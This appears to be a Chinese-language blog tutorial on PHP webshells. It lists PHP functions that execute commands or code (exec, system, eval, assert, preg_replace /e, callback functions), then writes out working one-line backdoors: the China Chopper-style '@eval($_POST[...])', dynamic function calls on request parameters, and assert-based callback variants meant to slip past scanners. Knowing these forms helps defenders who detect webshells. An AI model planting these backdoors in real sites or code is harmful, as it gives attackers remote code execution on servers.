淺析PHP-webshell

一、PHP後門函數

1、命令執行函數

exec

適用範圍:PHP 4, PHP 5, PHP 7        函數作用:執行一個外部程序,返回命令執行結果最後一行內容

string exec ( string $command [, array &$output [, int &$return_var ]] )

<?php
   echo exec('cd');  //D:\phpStudy\PHPTutorial\WWW
   echo exec('ipconfig');  //. . . . . . . . . . . . . : 172.31.100.1
?>

shell_exec

適用範圍:PHP 4, PHP 5, PHP 7        函數作用:通過 shell 環境執行命令,並且將完整的輸出以字符串的方式返回

string shell_exec ( string $cmd )

<?php
   echo shell_exec('ipconfig');  //顯示ipconfig命令全部內容
?>

passthru

適用範圍:PHP 4, PHP 5, PHP 7        函數作用:執行外部程序並且顯示原始輸出(全部原始內容,不用輸出)

void passthru ( string $command [, int &$return_var ] )

<?php
   passthru('ipconfig'); //顯示ipconfig全部內容
?>

system

適用範圍:PHP 4, PHP 5, PHP 7        函數作用:執行外部程序並且顯示輸出

string system ( string $command [, int &$return_var ] )

<?php
   echo system('ipconfig');  //顯示ipconfig命令全部內容
?>

當然還有其它執行系統命令的函數,如popen()、proc_open(),但這兩個函數不返回命令執行結果。

2、PHP代碼執行函數

eval

適用範圍:PHP 4, PHP 5, PHP 7        函數作用:把字符串作爲PHP代碼執行

mixed eval ( string $code )

<?php
    eval('phpinfo();');
?>

assert

適用範圍:PHP 4, PHP 5, PHP 7        函數作用:檢查一個斷言是否爲 FALSE

bool assert ( mixed $assertion [, string $description ] )

如果 assertion 是字符串,它將會被 assert() 當做 PHP 代碼來執行。

<?php
    assert(phpinfo());
    assert('print 123');
?>

preg_replace 

適用範圍:PHP 4, PHP 5, PHP 7        函數作用:執行一個正則表達式的搜索和替換

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

/e 修正符使 preg_replace() 將 replacement 參數當作 PHP 代碼執行

<?php
    preg_replace("//e","phpinfo()","");  //執行phpinfo()成功
?>

3、回調函數

解釋:把函數作爲參數傳入進另一個函數中使用。

call_user_func

把第一個參數作爲回調函數調用

call_user_func_array

調用回調函數,並把一個數組參數作爲回調函數的參數

usort

使用用戶自定義的比較函數對數組中的值進行排序

register_shutdown_function

<?php register_shutdown_function('assert','phpinfo();');?>

註冊一個會在php中止時執行的函數

array_map

爲數組的每個元素應用回調函數

array_walk

使用用戶自定義函數對數組中的每個元素做回調處理

array_filter

用回調函數過濾數組中的單元

array_reduce

用回調函數迭代地將數組簡化爲單一的值

array_udiff

用回調函數比較數據來計算數組的差集

array_uintersect

計算數組的交集,用回調函數比較數據

array_diff_uassoc

用用戶提供的回調函數做索引檢查來計算數組的差集

array_diff_ukey

用回調函數對鍵名比較計算數組的差集

等等,其它含有回調函數的函數

二、後門構造

普通後門,通過各種方法構造動態函數:

<?php 
    @eval($_POST['admin']);  //菜刀的後門

    //稍微變形下的後門
    $_GET['func']($_REQUEST['pass']);  
    $_GET['POST']($_POST['GET']);
    ......
?>

通過回調函數進行構造後門

<?php
    call_user_func('assert', $_POST['pass']);
    call_user_func_array('assert', array($_POST['pass']));

    //數組回調進行構造後門
    $arr=array($_POST['pass']);
    array_filter($arr,'assert');
    array_map('assert', $arr);
    uasort($arr, 'assert');
    //等等,用回調函數進行構造
?>

 

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章